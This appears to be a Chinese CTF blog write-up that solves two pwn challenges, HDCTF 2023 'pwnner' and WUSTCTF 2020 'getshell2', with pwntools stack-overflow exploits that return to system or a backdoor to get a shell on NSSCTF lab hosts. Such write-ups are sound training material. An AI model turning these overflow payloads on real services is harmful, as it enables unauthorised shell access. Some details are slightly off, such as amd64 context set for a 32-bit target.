[HDCTF 2023]pwnner
发现这是一个64位文件
发现vuln双击进入
我们发现第14行涉及栈溢出,且第7行告诉我们这里伪随机数种子是39,第11行这里涉及随机值判断
我们运行写好的c语言,得到这个伪随机数
发现这题有system和binsh找到他们
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','22008')
door = 0x4008b2
padding = b'a'*(0x40+0x8)
io.recvuntil(b'name:')
io.sendline(str(1956681178))
payload = padding + p64(door)
io.sendline(payload)
io.interactive()
[WUSTCTF 2020]getshell2
发现这是一个32位文件
发现vulnerable()双击进入
只有read典型的栈溢出
发现有system但是没有binsh
发现sh,知道这题是一道ret2syscall,有system没有binsh,把sh代替binsh
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','21192')
system = 0x8048529
sh = 0x8048670
padding = b'a'*(0x18+0x4)
payload = padding + p32(system) + p32(sh)
io.sendline(payload)
io.interactive()
flag有点难找,在home目录的ctf中
标签:binsh,system,padding,sh,io,PWN,payload,NSSCTF From: https://blog.csdn.net/fanshaoze/article/details/142744617